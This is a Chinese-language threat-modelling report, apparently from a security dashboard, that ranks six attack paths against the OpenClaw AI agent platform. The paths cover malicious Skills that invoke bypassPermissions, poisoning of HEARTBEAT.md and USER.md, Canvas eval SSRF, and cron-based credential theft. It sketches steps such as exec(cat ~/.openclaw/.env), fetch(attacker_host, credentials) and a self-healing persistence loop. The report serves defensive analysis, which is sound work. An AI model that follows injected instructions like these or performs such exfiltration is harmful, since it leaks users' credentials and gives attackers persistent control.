OpenClaw v2026.4.21 · Top AttackPath

6 条攻击路径 · RiskScore v1.5 · ATA Ontology v5.0 · 分析日期 2026-04-23

14.58
最高分 (AP-OC-05)
10.14
平均分(基准)
20+
通道攻击面
2
内部独有发现
10
SC-GAP 数量
3
ORP 提案
内部独有发现:AP-OC-02(Heartbeat 注入 → 持久后门)和 AP-OC-06(群组消息 AllowList 盲区 → Cron 外发)在外部安全报告中零记录。AP-OC-04(Canvas eval SSRF)Novelty 满分(5),为全新攻击面。
排序:
#1
AP-OC-05
恶意 Skill 供应链 → bypassPermissions → 全盘持久化
Novelty=5 ClawHavoc 验证
10.12~14.58
攻击链
ClawHub 恶意 Skill
PoisoningEntry · SUP · C3-I3-P1
SKILL.md → 系统 Prompt
Source · skill_desc slot
sessions_spawn --permission-mode bypassPermissions
Sink₀+Sink₁ · SK-SYS-AGENT
全机器控制 + Cron 持久化
Harm · Sensitive-SYSTEM
RiskScore 分解
10.12~14.58
总分区间
1.80~4.50
注入分(accessibility × trigger)
8.32~10.08
危害分(危害=1.0 × 范围=1.0 × ∏d_Sink)
+5.00
Novelty(供应链+全机器控制)
SecurityChecker 覆盖
DANGEROUS_ACP_TOOLS:sessions_spawn 被拦(HTTP),ACP 层未拦 AllowList:Skill 安装无内容审核(SC-GAP-SKILL-TRUST-BLIND)
核心洞察:coding-agent skill 官方文档明确推荐 --permission-mode bypassPermissions,攻击者通过恶意 Skill 诱导用户执行,完全绕过父 Agent 权限体系。ClawHavoc 运动(2026-01)341 个恶意 Skill 已实战验证。
#2
AP-OC-02
Heartbeat 外部数据注入 → HEARTBEAT.md 篡改 → 持久后门
内部独有发现 Novelty=2
10.45~10.93
攻击链
攻击者邮件/Telegram
PoisoningEntry · PUB · T-BROAD
Heartbeat 推理上下文
Source · heartbeat_context slot
fs_write(HEARTBEAT.md, 恶意任务)
Sink₁ · SK-MEMO · d=0.63
exec(恶意命令) 每次 Heartbeat
Sink₂ · SK-SYS · d=0.70
凭证外发 + 持久后门
Harm · Sensitive-CREDENTIAL
RiskScore 分解
10.45~10.93
总分区间
2.70
注入分(PUB=1.2 × T-BROAD=1.0 × 感知衰减)
5.95~6.43
危害分(0.70×0.63=0.441 Sink 迭乘)
+2.00
Novelty(外部零记录 Heartbeat 投毒)
SecurityChecker 覆盖
SC-GAP-HEARTBEAT-CONTENT:HEARTBEAT.md 写入无保护 SC-GAP-HEARTBEAT-APPROVAL:headless 运行无审批界面
ORP-OC-01:建议在 ATA Ontology 中新增 HeartbeatEvent 实体,与 CronEvent 区分(独立 HEARTBEAT.md 驱动,非 time-based schedule)。
#3
AP-OC-04
Canvas eval 注入 → WebView 绕过 SSRF → 内网横移
Novelty=5(满分) extended-clean
9.52~11.84
攻击链
攻击者控制网页/消息
PoisoningEntry · PUB · T-BROAD
Agent 推理上下文
Source · inbound_message slot
canvas.present(攻击者URL)
Sink₁ · SK-NET
canvas.eval(JS payload) → 内网请求
Sink₂ · WebView · 绕过 SSRF Guard
内网横移 / 169.254.x SSRF
Harm · Sensitive-SYSTEM
RiskScore 分解
9.52~11.84
总分区间
1.80
注入分(extended-clean 前置降可达性)
4.72~5.34
危害分(WebView 绕过 SSRF,d_Sink 较低)
+5.00
Novelty 满分(全新攻击面,零外部记录)
SecurityChecker 覆盖
SC-GAP-CANVAS-EVAL:canvas.eval 无内容过滤 SC-GAP-SSRF-WEBVIEW:Node.js SSRF Guard 不覆盖 WebView
#4
AP-OC-01
多通道消息注入 → 工具链执行 → 凭证外发
20+ 通道攻击面
9.07~9.76
攻击链
攻击者发送消息(任意通道)
PoisoningEntry · PUB/REG · T-ANY
inbound_message slot
Source · 无过滤
exec(cat ~/.openclaw/.env)
Sink₁ · SK-EXEC
fetch(attacker_host, {凭证})
Sink₂ · SK-NET
API Key / Token 外泄
Harm · Sensitive-CREDENTIAL
RiskScore 分解
9.07~9.76
总分区间
3.00~4.50
注入分(PUB × T-ANY=1.2,可达性最高)
4.57~5.26
危害分(∏d_Sink = 0.50~0.70)
+0
Novelty(标准注入路径)
#5
AP-OC-06
群组消息注入 → Cron 劫持 → 定时凭证外发
内部独有发现 Novelty=1
8.50~9.50
攻击链
群组中任意成员消息
PoisoningEntry · REG · T-BROAD
group_message slot(AllowList 不过滤)
Source · SC-GAP-GROUP-INJECT
cron.create("*/30 * * * *", "exfil task")
Sink₁ · SK-SYS-SCHED
exec + fetch 每 30 分钟
Sink₂ · SK-NET
持续凭证外发
Harm · Sensitive-CREDENTIAL
RiskScore 分解
8.50~9.50
总分区间
2.70
注入分(REG=1.0 × T-BROAD=1.0,需在群组中)
4.80~5.80
危害分(Cron 持久化增加危害分)
+1.00
Novelty(AllowList 盲区未见外部记录)
SecurityChecker 覆盖
SC-GAP-GROUP-INJECT:AllowList 控制"回复"不控制"推理触发" SC-GAP-CRON-ACP:Cron 被 HTTP 层拒绝,ACP 本地路径不限
#6
AP-OC-03
Memory 投毒 → USER.md 认知劫持 → Cron 持久化外发
Unit42 等价路径
8.31~9.03
攻击链
攻击者消息(含 memory_write 指令)
PoisoningEntry · REG · T-SPECIFIC
memory_guidance / USER.md slot
Source · 最高认知优先级
memory_write(USER.md, 攻击指令)
Sink₁ · SK-MEMO · 认知劫持
下次会话自动建立 Cron + 外发
Sink₂ · SK-SYS-SCHED · 跨会话
持续数据外发(双重自愈)
Harm · Sensitive-CREDENTIAL+MEMORY
RiskScore 分解
8.31~9.03
总分区间
2.25
注入分(需要 memory_write 权限触发条件)
5.06~5.78
危害分(双重自愈使危害持续)
+1.00
Novelty(USER.md 认知优先级利用)
自愈机制:Cron 被删 → 下次会话因 USER.md 重建;USER.md 被清 → Cron 继续运行。必须同时清除两者才能解除攻击。